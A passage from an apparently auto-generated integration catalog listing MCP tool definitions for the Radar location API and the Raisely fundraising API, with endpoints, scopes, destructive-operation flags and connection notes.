radar. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. radar_delete_v1_beacons_by_id (write, destructive) — Delete a beacon via DELETE /v1/beacons/{id}. Deletes a beacon. The beacon can be uniquely referenced by Radar `_id` or by `tag` and `externalId`. Enterprise plan only (Radar's docs): a project whose contract lacks this module is refused by entitlement, not by a bad key. DELETE /api/v1/radar/v1/beacons/{id}. Scopes: api. radar_delete_v1_geofences_by_id (write, destructive) — Delete a geofence via DELETE /v1/geofences/{id}. Deletes a geofence. The geofence can be uniquely referenced by Radar `_id` or by `tag` and `externalId`. DELETE /api/v1/radar/v1/geofences/{id}. Scopes: api. radar_delete_v1_geofences_by_tag_by_externalid (write, destructive) — Delete a geofence (by tag and externalId) via DELETE /v1/geofences/{tag}/{externalId}. Deletes a geofence. The geofence can be uniquely referenced by Radar `_id` or by `tag` and `externalId`. DELETE /api/v1/radar/v1/geofences/{tag}/{externalId}. Scopes: api. radar_delete_v1_trips_by_id (write, destructive) — Delete a trip via DELETE /v1/trips/{id}. Deletes a trip. The trip can be referenced by Radar `_id` or `externalId`. DELETE /api/v1/radar/v1/trips/{id}. Scopes: api. radar_delete_v1_users_by_id (write, destructive) — Delete a user via DELETE /v1/users/{id}. Deletes a user. The user can be referenced by Radar `_id`, `userId`, or `deviceId`. DELETE /api/v1/radar/v1/users/{id}. Scopes: api. radar_get_v1_addresses_validate (read) — Validate an address via GET /v1/addresses/validate. Validates an address. Currently only available for US and Canada addresses for enterprise customers. This endpoint is best for validating complete structured addresses. For partial addresses or place names, call the [autocomplete](https://docs.radar.com/api#autocomplete) endpoint instead. Returns a `verificationStatus` as part of the `result`, as defined below: * `verified`: The input has a complete and unique match with a result. * `partially verified`: The input has a partial match with a result. * `ambiguous`: The input closely matches multiple results. * `unverified`: Unable to verify the input address. Returns a `recordType` value in the `metadata` field as part of the `result`, values are defined below according to USPS standards: * `S`: Street Address * `P`: Post Office Box * `R`: Rural Route * `H`: High-rise * `F`: Firm * `G`: General Delivery On US addresses, an `analysis` field may be returned, which contains the following fields: * `unit:missing`: Radar detected units at the address, but no unit was specified. * `unit:invalid`: Radar detected units at the address, but the unit specified doesn't exist. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. Enterprise plan only (Radar's docs): a project whose contract lacks this module is refused by entitlement, not by a bad key. GET /api/v1/radar/v1/addresses/validate. Scopes: api. radar_get_v1_beacons (read) — List beacons via GET /v1/beacons. Lists beacons. Beacons are sorted descending by `createdAt`. Enterprise plan only (Radar's docs): a project whose contract lacks this module is refused by entitlement, not by a bad key. GET /api/v1/radar/v1/beacons. Scopes: api. radar_get_v1_beacons_by_id (read) — Get a beacon via GET /v1/beacons/{id}. Gets a beacon. The beacon can be uniquely referenced by Radar `_id` or by `tag` and `externalId`. Enterprise plan only (Radar's docs): a project whose contract lacks this module is refused by entitlement, not by a bad key. GET /api/v1/radar/v1/beacons/{id}. Scopes: api. radar_get_v1_geocode_forward (read) — Forward geocode via GET /v1/geocode/forward. Geocodes an address, converting address to coordinates. This endpoint is best for complete addresses. For partial addresses or place names, call the [autocomplete](https://docs.radar.com/api#autocomplete) endpoint instead. Returns a confidence level indicating the certainty of the result's latitude and longitude: * **`exact`**: Precise coordinates for a known address location. * **`interpolated`**: Estimated coordinates between two known address points when an exact address location is unavailable. * **`fallback`**: Coarse coordinates (e.g., postal code/city) for the containing region when no precise location is available. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. GET /api/v1/radar/v1/geocode/forward. Scopes: api. radar_get_v1_geocode_ip (read) — IP geocode via GET /v1/geocode/ip. Geocodes the requester's IP, converting IP address to city, state, and country. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. GET /api/v1/radar/v1/geocode/ip. Scopes: api. radar_get_v1_geocode_reverse (read) — Reverse geocode via GET /v1/geocode/reverse. Reverse geocodes a location, converting coordinates to address. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. GET /api/v1/radar/v1/geocode/reverse. Scopes: api. radar_get_v1_geofences (read) — List geofences via GET /v1/geofences. Lists geofences. Geofences are sorted descending by `updatedAt`. GET /api/v1/radar/v1/geofences. Scopes: api. radar_get_v1_geofences_by_id (read) — Get a geofence via GET /v1/geofences/{id}. Gets a geofence. The geofence can be uniquely referenced by Radar `_id` or by `tag` and `externalId`. GET /api/v1/radar/v1/geofences/{id}. Scopes: api. radar_get_v1_geofences_by_tag_by_externalid (read) — Get a geofence (by tag and externalId) via GET /v1/geofences/{tag}/{externalId}. Gets a geofence. The geofence can be uniquely referenced by Radar `_id` or by `tag` and `externalId`. GET /api/v1/radar/v1/geofences/{tag}/{externalId}. Scopes: api. radar_get_v1_geofences_by_tag_by_externalid_users (read) — Get users in a geofence via GET /v1/geofences/{tag}/{externalId}/users. Gets users currently in a geofence. GET /api/v1/radar/v1/geofences/{tag}/{externalId}/users. Scopes: api. radar_get_v1_route_directions (read) — Directions via GET /v1/route/directions. Calculates the most efficient route between two or more locations to visit in order. Additionally you can modify the turn-by-turn directions response by specifying additional query parameters. Each turn-by-turn step includes `maneuver`, a string describing the maneuver type (for example, `start`, `left`, or `destination`). Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. GET /api/v1/radar/v1/route/directions. Scopes: api. radar_get_v1_route_distance (read) — Distance via GET /v1/route/distance. Calculates the travel distance and duration between an origin and a destination. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. GET /api/v1/radar/v1/route/distance. Scopes: api. radar_get_v1_route_matrix (read) — Matrix via GET /v1/route/matrix. Calculates the travel distances and durations between multiple origins and destinations for up to 625 routes. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. GET /api/v1/radar/v1/route/matrix. Scopes: api. radar_get_v1_route_optimize (read) — Optimize route via GET /v1/route/optimize. Calculates the optimal ordering and route to visit a list of locations. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. GET /api/v1/radar/v1/route/optimize. Scopes: api. radar_get_v1_search_autocomplete (read) — Autocomplete via GET /v1/search/autocomplete. Autocompletes partial addresses and place names, sorted by relevance and proximity. **US/CA:** For customers using autocomplete for full address completion (i.e. checkout page), pass in `layers`: `address`, `countryCode`: `US, CA`. **International:** For customers implementing autocomplete for international address completion use cases, contact your solutions engineer for best practices based on your use case. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. GET /api/v1/radar/v1/search/autocomplete. Scopes: api. radar_get_v1_search_geofences (read) — Search geofences via GET /v1/search/geofences. Searches for geofences near a location, sorted by distance. **Note:** To retrieve more than 100 results, `includeGeometries` must be set to `false`. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. GET /api/v1/radar/v1/search/geofences. Scopes: api. radar_get_v1_search_places (read) — Search places via GET /v1/search/places. Searches for places near a location, sorted by distance. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. GET /api/v1/radar/v1/search/places. Scopes: api. radar_get_v1_search_users (read) — Search users via GET /v1/search/users. Searches for users near a location, sorted by distance. GET /api/v1/radar/v1/search/users. Scopes: api. radar_get_v1_settings (read) — Get Places settings via GET /v1/settings. Gets your current Places settings. Enterprise plan only (Radar's docs): a project whose contract lacks this module is refused by entitlement, not by a bad key. GET /api/v1/radar/v1/settings. Scopes: api. radar_get_v1_trips (read) — List trips via GET /v1/trips. Lists trips. Trips are sorted descending by `updatedAt`. GET /api/v1/radar/v1/trips. Scopes: api. radar_get_v1_trips_by_id (read) — Get a trip via GET /v1/trips/{id}. Gets a trip. The trip can be referenced by Radar `_id` or `externalId`. GET /api/v1/radar/v1/trips/{id}. Scopes: api. radar_get_v1_users (read) — List users via GET /v1/users. Lists users. Users are sorted descending by `updatedAt`. GET /api/v1/radar/v1/users. Scopes: api. radar_get_v1_users_by_id (read) — Get a user via GET /v1/users/{id}. Gets a user. The user can be referenced by Radar `_id`, `userId`, or `deviceId`. GET /api/v1/radar/v1/users/{id}. Scopes: api. radar_patch_v1_settings (write) — Update Places settings via PATCH /v1/settings. Updates your Places settings. Enterprise plan only (Radar's docs): a project whose contract lacks this module is refused by entitlement, not by a bad key. PATCH /api/v1/radar/v1/settings. Scopes: api. radar_patch_v1_trips_by_id_update (write) — Update a trip via PATCH /v1/trips/{id}/update. Updates a trip. The trip can be referenced by Radar `_id` or `externalId`. On iOS and Android, use the [SDK](https://docs.radar.com/sdk) to update trips. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. PATCH /api/v1/radar/v1/trips/{id}/update. Scopes: api. radar_post_v1_beacons (write) — Create a beacon via POST /v1/beacons. Creates a beacon. Enterprise plan only (Radar's docs): a project whose contract lacks this module is refused by entitlement, not by a bad key. POST /api/v1/radar/v1/beacons. Scopes: api. radar_post_v1_events (write) — Log a conversion via POST /v1/events. Conversions are available on the [**Enterprise plan**](https://radar.com/pricing). Logs a conversion to analyze alongside other location activity in your app. This can represent anything from a purchase or signup to engagement with an in-app feature. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. Enterprise plan only (Radar's docs): a project whose contract lacks this module is refused by entitlement, not by a bad key. POST /api/v1/radar/v1/events. Scopes: api. radar_post_v1_route_match (write) — Route match via POST /v1/route/match. Snaps points collected along a route to roads that were most likely traveled on. Returns the matched path and road information. For best results, the sample rate should be less than 10 seconds between points. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. POST /api/v1/radar/v1/route/match. Scopes: api. radar_post_v1_track (write) — Track via POST /v1/track. Tracks a location update. Returns the user and the events generated, depending on project settings. On iOS and Android, use the [SDK](https://docs.radar.com/sdk/sdk) to track user locations in the foreground or in the background. `deviceId` is used to identify logged out users. `userId` and `deviceId` are used to identify logged in users. If a matching user already exists, it will be updated. If not, a new user will be created. Do not send any PII, like names, email addresses, or publicly available IDs, for `userId`. See [privacy best practices](https://docs.radar.com/faqs#what-are-privacy-best-practices-for-radar) for more information. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. POST /api/v1/radar/v1/track. Scopes: api. radar_post_v1_trips (write) — Create a new trip via POST /v1/trips. Use the [SDK](https://docs.radar.com/sdk/sdk) to start trips and track users for most use cases. Trips can also be created server-side or through integrations (e.g., Olo). Location updates with the specified `userId` from the [SDK](https://docs.radar.com/sdk/sdk) will update the trip for that user. Creates a new trip. Radar documents this endpoint for publishable keys; this connection sends the project's secret key, and whether Radar accepts a secret key here is unverified -- a 401 on this tool alone is that open question, not a bad key. POST /api/v1/radar/v1/trips. Scopes: api. radar_post_v1_users_refresh (write) — Send remote track requests to users via POST /v1/users/refresh. Sends a remote track request to a list of users via silent push notifications. POST /api/v1/radar/v1/users/refresh. Scopes: api. radar_put_v1_beacons_by_id (write) — Upsert a beacon via PUT /v1/beacons/{id}. Upserts a beacon. The beacon can be uniquely referenced by Radar `_id` or by `tag` and `externalId`. If a beacon with the specified `tag` and `externalId` already exists, it will be updated. If not, it will be created. Enterprise plan only (Radar's docs): a project whose contract lacks this module is refused by entitlement, not by a bad key. PUT /api/v1/radar/v1/beacons/{id}. Scopes: api. radar_put_v1_beacons_by_tag_by_externalid (write) — Upsert a beacon (by tag and externalId) via PUT /v1/beacons/{tag}/{externalId}. Upserts a beacon. The beacon can be uniquely referenced by Radar `_id` or by `tag` and `externalId`. If a beacon with the specified `tag` and `externalId` already exists, it will be updated. If not, it will be created. Enterprise plan only (Radar's docs): a project whose contract lacks this module is refused by entitlement, not by a bad key. PUT /api/v1/radar/v1/beacons/{tag}/{externalId}. Scopes: api. radar_put_v1_geofences_by_id (write) — Upsert a geofence via PUT /v1/geofences/{id}. Upserts a geofence. The geofence can be uniquely referenced by `tag` and `externalId` or by the Radar `_id`. If a geofence with the specified `tag` and `externalId` already exists, it will be updated. If not, it will be created. PUT /api/v1/radar/v1/geofences/{id}. Scopes: api. radar_put_v1_geofences_by_tag_by_externalid (write) — Upsert a geofence (by tag and externalId) via PUT /v1/geofences/{tag}/{externalId}. Upserts a geofence. The geofence can be uniquely referenced by `tag` and `externalId` or by the Radar `_id`. If a geofence with the specified `tag` and `externalId` already exists, it will be updated. If not, it will be created. PUT /api/v1/radar/v1/geofences/{tag}/{externalId}. Scopes: api. ================================================================================ ## Raisely URL: https://www.agenticfabriq.com/integrations/raisely Section: Integrated Tools Raisely — 92 MCP tools Provider key: raisely. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. raisely_delete_campaigns_by_campaign (write, destructive) — Deletes the campaign. DELETE /v3/campaigns/{campaign} DELETE /api/v1/raisely/campaigns/{campaign}. Scopes: api. raisely_delete_campaigns_by_campaign_media_by_uuid (write, destructive) — Remove a media item from the campaign media library by UUID. The underlying file is not deleted. DELETE /v3/campaigns/{campaign}/media/{uuid} DELETE /api/v1/raisely/campaigns/{campaign}/media/{uuid}. Scopes: api. raisely_delete_donations_by_uuid (write, destructive) — Delete a donation record. Only possible for OFFLINE donations. DELETE /v3/donations/{uuid} DELETE /api/v1/raisely/donations/{uuid}. Scopes: api. raisely_delete_exercise_logs_by_uuid (write, destructive) — Delete the specified **exercise log**. DELETE /v3/exercise-logs/{uuid} DELETE /api/v1/raisely/exercise-logs/{uuid}. Scopes: api. raisely_delete_interactions_by_uuid (write, destructive) — Deletes an existing custom **interaction**. (Cannot delete system generated or read only interactions). DELETE /v3/interactions/{uuid} DELETE /api/v1/raisely/interactions/{uuid}. Scopes: api. raisely_delete_organisations_by_organisation_media_by_uuid (write, destructive) — Remove a media item from the organisation media library by UUID. The underlying file is not deleted. DELETE /v3/organisations/{organisation}/media/{uuid} DELETE /api/v1/raisely/organisations/{organisation}/media/{uuid}. Scopes: api. raisely_delete_posts_by_path (write, destructive) — Delete the specified **post**. DELETE /v3/posts/{path} DELETE /api/v1/raisely/posts/{path}. Scopes: api. raisely_delete_profiles_by_path (write, destructive) — Archives a profile. Archived profiles are hidden from the campaign. DELETE /v3/profiles/{path} DELETE /api/v1/raisely/profiles/{path}. Scopes: api. raisely_delete_tags_by_uuid_records_by_recorduuid (write, destructive) — Removes an assigned tag from the specified record. DELETE /v3/tags/{uuid}/records/{recordUuid} DELETE /api/v1/raisely/tags/{uuid}/records/{recordUuid}. Scopes: api. raisely_delete_webhooks_by_uuid (write, destructive) — Delete a webhook. DELETE /v3/webhooks/{uuid} DELETE /api/v1/raisely/webhooks/{uuid}. Scopes: api. raisely_get_api_docs (read) — Raisely OpenAPI specification. GET /v3/api-docs GET /api/v1/raisely/api-docs. Scopes: api. raisely_get_authenticate (read) — Authenticate a token to confirm it's valid, check the logged-in user, or confirm token privileges. You can use /authenticate to find the organisation UUID of the token you are using, which may be useful in future requests. GET /v3/authenticate GET /api/v1/raisely/authenticate. Scopes: api. raisely_get_campaigns (read) — Returns a list of campaigns you've previously created. The campaigns will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/campaigns GET /api/v1/raisely/campaigns. Scopes: api. raisely_get_campaigns_by_campaign (read) — Retrieve a specific **campaign**. GET /v3/campaigns/{campaign} GET /api/v1/raisely/campaigns/{campaign}. Scopes: api. raisely_get_campaigns_by_campaign_designations (read) — Returns designations associated with a campaign, ordered by sortOrder. GET /v3/campaigns/{campaign}/designations GET /api/v1/raisely/campaigns/{campaign}/designations. Scopes: api. raisely_get_campaigns_by_campaign_donations (read) — Returns a list of donations you've previously created. The donations will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/campaigns/{campaign}/donations GET /api/v1/raisely/campaigns/{campaign}/donations. Scopes: api. raisely_get_campaigns_by_campaign_media (read) — Returns all images in the campaign media library. GET /v3/campaigns/{campaign}/media GET /api/v1/raisely/campaigns/{campaign}/media. Scopes: api. raisely_get_campaigns_by_campaign_products (read) — Returns all products in a campaign. GET /v3/campaigns/{campaign}/products GET /api/v1/raisely/campaigns/{campaign}/products. Scopes: api. raisely_get_campaigns_by_campaign_profile (read) — Return the campaign profile <br><br> The campaign profile is the top level profile for all profiles in the campaign. It is hidden from the fundraising website, but will have the same name, path, and goal as your campaign. GET /v3/campaigns/{campaign}/profile GET /api/v1/raisely/campaigns/{campaign}/profile. Scopes: api. raisely_get_campaigns_by_campaign_profiles (read) — Returns all fundraising profiles in a campaign. GET /v3/campaigns/{campaign}/profiles GET /api/v1/raisely/campaigns/{campaign}/profiles. Scopes: api. raisely_get_campaigns_by_campaign_subscriptions (read) — Returns a list of subscriptions you've previously created. The subscriptions will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/campaigns/{campaign}/subscriptions GET /api/v1/raisely/campaigns/{campaign}/subscriptions. Scopes: api. raisely_get_designations (read) — Returns a list of designations you've previously created. The designations will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/designations GET /api/v1/raisely/designations. Scopes: api. raisely_get_donations (read) — Returns a list of donations you've previously created. The donations will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/donations GET /api/v1/raisely/donations. Scopes: api. raisely_get_donations_by_uuid (read) — Retrieve a specific **donation**. GET /v3/donations/{uuid} GET /api/v1/raisely/donations/{uuid}. Scopes: api. raisely_get_donations_by_uuid_receipts (read) — Returns a list of the receipts attached to this donation. GET /v3/donations/{uuid}/receipts GET /api/v1/raisely/donations/{uuid}/receipts. Scopes: api. raisely_get_exercise_logs (read) — Returns a list of exercise logs you've previously created. The exercise logs will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/exercise-logs GET /api/v1/raisely/exercise-logs. Scopes: api. raisely_get_exercise_logs_by_uuid (read) — Retrieve a specific **exercise log**. GET /v3/exercise-logs/{uuid} GET /api/v1/raisely/exercise-logs/{uuid}. Scopes: api. raisely_get_interaction_categories (read) — Returns all of the **interaction categories** in the organisation. GET /v3/interaction_categories GET /api/v1/raisely/interaction_categories. Scopes: api. raisely_get_interactions (read) — Returns all **interactions**. GET /v3/interactions GET /api/v1/raisely/interactions. Scopes: api. raisely_get_interactions_by_uuid (read) — Retrieve a specific **interaction**. GET /v3/interactions/{uuid} GET /api/v1/raisely/interactions/{uuid}. Scopes: api. raisely_get_orders (read) — Returns all orders in a campaign. GET /v3/orders GET /api/v1/raisely/orders. Scopes: api. raisely_get_orders_by_uuid (read) — Returns a specific order. GET /v3/orders/{uuid} GET /api/v1/raisely/orders/{uuid}. Scopes: api. raisely_get_organisations_by_organisation_media (read) — Returns all images in the organisation media library. GET /v3/organisations/{organisation}/media GET /api/v1/raisely/organisations/{organisation}/media. Scopes: api. raisely_get_posts (read) — Returns a list of posts you've previously created. The posts will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/posts GET /api/v1/raisely/posts. Scopes: api. raisely_get_posts_by_path (read) — Retrieve a specific **post**. GET /v3/posts/{path} GET /api/v1/raisely/posts/{path}. Scopes: api. raisely_get_products_by_uuid (read) — Returns a specific product. GET /v3/products/{uuid} GET /api/v1/raisely/products/{uuid}. Scopes: api. raisely_get_profiles (read) — Returns all fundraising profiles in a campaign. GET /v3/profiles GET /api/v1/raisely/profiles. Scopes: api. raisely_get_profiles_by_path (read) — Returns a specific profile. GET /v3/profiles/{path} GET /api/v1/raisely/profiles/{path}. Scopes: api. raisely_get_profiles_by_path_donations (read) — Returns a list of donations you've previously created. The donations will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/profiles/{path}/donations GET /api/v1/raisely/profiles/{path}/donations. Scopes: api. raisely_get_profiles_by_path_members (read) — Returns list of all members of a team profile. GET /v3/profiles/{path}/members GET /api/v1/raisely/profiles/{path}/members. Scopes: api. raisely_get_profiles_by_path_posts (read) — Returns a list of posts you've previously created. The posts will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/profiles/{path}/posts GET /api/v1/raisely/profiles/{path}/posts. Scopes: api. raisely_get_promo_codes (read) — Returns all promo codes in a campaign. GET /v3/promo_codes GET /api/v1/raisely/promo_codes. Scopes: api. raisely_get_promo_codes_by_uuid (read) — Returns a specific promo code. GET /v3/promo_codes/{uuid} GET /api/v1/raisely/promo_codes/{uuid}. Scopes: api. raisely_get_segments (read) — Returns a list of segments you've previously created. The segments will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/segments GET /api/v1/raisely/segments. Scopes: api. raisely_get_segments_by_uuid_users (read) — Get the users matched by the segment. GET /v3/segments/{uuid}/users GET /api/v1/raisely/segments/{uuid}/users. Scopes: api. raisely_get_subscriptions (read) — Returns a list of subscriptions you've previously created. The subscriptions will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/subscriptions GET /api/v1/raisely/subscriptions. Scopes: api. raisely_get_subscriptions_by_uuid (read) — Retrieve a specific **subscription**. GET /v3/subscriptions/{uuid} GET /api/v1/raisely/subscriptions/{uuid}. Scopes: api. raisely_get_subscriptions_by_uuid_donations (read) — Returns a list of donations you've previously created. The donations will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/subscriptions/{uuid}/donations GET /api/v1/raisely/subscriptions/{uuid}/donations. Scopes: api. raisely_get_tags (read) — Retrieve the list of tags. **NOTE** Unlike other endpoints, any tags flagged as private will not be present unless the request includes private=1. GET /v3/tags GET /api/v1/raisely/tags. Scopes: api. raisely_get_tags_by_uuid (read) — Retrieve a specific **tag**. GET /v3/tags/{uuid} GET /api/v1/raisely/tags/{uuid}. Scopes: api. raisely_get_tags_by_uuid_records (read) — Get all Raisely records that are assigned the provided Tag. GET /v3/tags/{uuid}/records GET /api/v1/raisely/tags/{uuid}/records. Scopes: api. raisely_get_users (read) — Returns a list of users you've previously created. The users will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/users GET /api/v1/raisely/users. Scopes: api. raisely_get_users_by_uuid (read) — Retrieve a specific **user**. GET /v3/users/{uuid} GET /api/v1/raisely/users/{uuid}. Scopes: api. raisely_get_users_by_uuid_donations (read) — Returns a list of donations you've previously created. The donations will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/users/{uuid}/donations GET /api/v1/raisely/users/{uuid}/donations. Scopes: api. raisely_get_users_by_uuid_interactions (read) — Returns all **interactions** for a given user. GET /v3/users/{uuid}/interactions GET /api/v1/raisely/users/{uuid}/interactions. Scopes: api. raisely_get_users_by_uuid_profiles (read) — Returns all fundraising profiles owned by the provided user. GET /v3/users/{uuid}/profiles GET /api/v1/raisely/users/{uuid}/profiles. Scopes: api. raisely_get_users_by_uuid_subscriptions (read) — Returns a list of subscriptions you've previously created. The subscriptions will be returned in descending order of when they were created, unless you specify otherwise. GET /v3/users/{uuid}/subscriptions GET /api/v1/raisely/users/{uuid}/subscriptions. Scopes: api. raisely_get_utils_profile_url (read) — Helper endpoint to verify if a profile url is taken for a given campaign, and make suggestions if the path queried is not available. GET /v3/utils/profile-url GET /api/v1/raisely/utils/profile-url. Scopes: api. raisely_get_webhooks (read) — Retrieve the list of webhooks configured for the campaign. GET /v3/webhooks GET /api/v1/raisely/webhooks. Scopes: api. raisely_patch_campaigns_by_campaign (write) — Updates the campaign with the new data. PATCH /v3/campaigns/{campaign} PATCH /api/v1/raisely/campaigns/{campaign}. Scopes: api. raisely_patch_campaigns_by_campaign_config_by_attribute (write) — Update a subkey of the config. This will overwrite the entire value of the key. PATCH /v3/campaigns/{campaign}/config/{attribute} PATCH /api/v1/raisely/campaigns/{campaign}/config/{attribute}. Scopes: api. raisely_patch_donations_by_uuid (write) — Update the specified donation. PATCH /v3/donations/{uuid} PATCH /api/v1/raisely/donations/{uuid}. Scopes: api. raisely_patch_donations_by_uuid_move (write) — Move a donation to a different profile (the profile may be located in a different campaign). PATCH /v3/donations/{uuid}/move PATCH /api/v1/raisely/donations/{uuid}/move. Scopes: api. raisely_patch_exercise_logs_by_uuid (write) — Updates an existing exercise log. PATCH /v3/exercise-logs/{uuid} PATCH /api/v1/raisely/exercise-logs/{uuid}. Scopes: api. raisely_patch_interactions_by_uuid (write) — Updates a specific **interaction**. Only interaction.details may be updated (Cannot delete system generated or read only interactions). PATCH /v3/interactions/{uuid} PATCH /api/v1/raisely/interactions/{uuid}. Scopes: api. raisely_patch_interactions_by_uuid_pin (write) — Pin / Unpin an **interaction**. PATCH /v3/interactions/{uuid}/pin PATCH /api/v1/raisely/interactions/{uuid}/pin. Scopes: api. raisely_patch_posts_by_path (write) — Update the specified **post**. PATCH /v3/posts/{path} PATCH /api/v1/raisely/posts/{path}. Scopes: api. raisely_patch_profiles_by_path (write) — Updates a specific **profile**. PATCH /v3/profiles/{path} PATCH /api/v1/raisely/profiles/{path}. Scopes: api. raisely_patch_profiles_by_path_join (write) — Joins the specified profile to a a new parent. PATCH /v3/profiles/{path}/join PATCH /api/v1/raisely/profiles/{path}/join. Scopes: api. raisely_patch_profiles_by_path_leave (write) — Leaves the team profile (joins the campaign profile). PATCH /v3/profiles/{path}/leave PATCH /api/v1/raisely/profiles/{path}/leave. Scopes: api. raisely_patch_promo_codes_by_uuid (write) — Updates a specific promo code. PATCH /v3/promo_codes/{uuid} PATCH /api/v1/raisely/promo_codes/{uuid}. Scopes: api. raisely_patch_subscriptions_by_uuid (write) — Update the subscription. If you update the frequency or count for a donation, the nextPayment will be recalculated (unless you also update the nextPayment) based on the last donation or the date the subscription was created. PATCH /v3/subscriptions/{uuid} PATCH /api/v1/raisely/subscriptions/{uuid}. Scopes: api. raisely_patch_users_by_uuid (write) — Update the specified **user**. PATCH /v3/users/{uuid} PATCH /api/v1/raisely/users/{uuid}. Scopes: api. raisely_patch_webhooks_by_uuid (write) — Update the specified **webhook**. PATCH /v3/webhooks/{uuid} PATCH /api/v1/raisely/webhooks/{uuid}. Scopes: api. raisely_post_campaigns (write) — Create a new or cloned campaign. POST /v3/campaigns POST /api/v1/raisely/campaigns. Scopes: api. raisely_post_campaigns_by_campaign_media (write) — Add an image to the campaign media library. Accepts either a `multipart/form-data` upload or an `application/json` body with a `url` to fetch server-side. Accepted formats: PNG, JPG, GIF, WebP, SVG (max 20 MB). POST /v3/campaigns/{campaign}/media POST /api/v1/raisely/campaigns/{campaign}/media. Scopes: api. raisely_post_campaigns_by_campaign_restore (write) — Restores the campaign. POST /v3/campaigns/{campaign}/restore POST /api/v1/raisely/campaigns/{campaign}/restore. Scopes: api. raisely_post_donations (write) — Record a donation processed elsewhere in Raisely. These donations are recorded with a type of `OFFLINE` in Raisely to indicate they were processed externally. **Note:** Adding an offline donation does not automatically send a receipt. POST /v3/donations POST /api/v1/raisely/donations. Scopes: api. raisely_post_donations_by_uuid_match (write) — Match a donation using the specified matched giving configuration. POST /v3/donations/{uuid}/match POST /api/v1/raisely/donations/{uuid}/match. Scopes: api. raisely_post_donations_by_uuid_resend (write, destructive) — Send, or re-send, a donation receipt. If the donation was already receipted in Raisely, calling this API will mark the previous receipt as void and re-issue a new receipt. POST /v3/donations/{uuid}/resend POST /api/v1/raisely/donations/{uuid}/resend. Scopes: api. raisely_post_exercise_logs (write) — Creates a new **exercise log**. POST /v3/exercise-logs POST /api/v1/raisely/exercise-logs. Scopes: api. raisely_post_interactions (write) — Creates a new **interaction**. POST /v3/interactions POST /api/v1/raisely/interactions. Scopes: api. raisely_post_orders_by_uuid_resend (write, destructive) — Resend an order receipt. POST /v3/orders/{uuid}/resend POST /api/v1/raisely/orders/{uuid}/resend. Scopes: api. raisely_post_organisations_by_organisation_media (write) — Add an image to the organisation media library. Accepts either a `multipart/form-data` upload or an `application/json` body with a `url` to fetch server-side. Accepted formats: PNG, JPG, GIF, WebP, SVG (max 20 MB). POST /v3/organisations/{organisation}/media POST /api/v1/raisely/organisations/{organisation}/media. Scopes: api. raisely_post_posts (write) — Create a new **post**. **Specifying the post author (explicit-user rollout):** When the explicit-user rollout is enabled for the organisation, data.userUuid is an optional author override. POST /v3/posts POST /api/v1/raisely/posts. Scopes: api. raisely_post_profiles_by_path_members (write) — Create a new **member** on the parent profile. **Owner of the member profile:** data.userUuid is optional. POST /v3/profiles/{path}/members POST /api/v1/raisely/profiles/{path}/members. Scopes: api. raisely_post_promo_codes (write) — Creates a new promo code. POST /v3/promo_codes POST /api/v1/raisely/promo_codes. Scopes: api. raisely_post_subscriptions (write) — Creates a new subscription 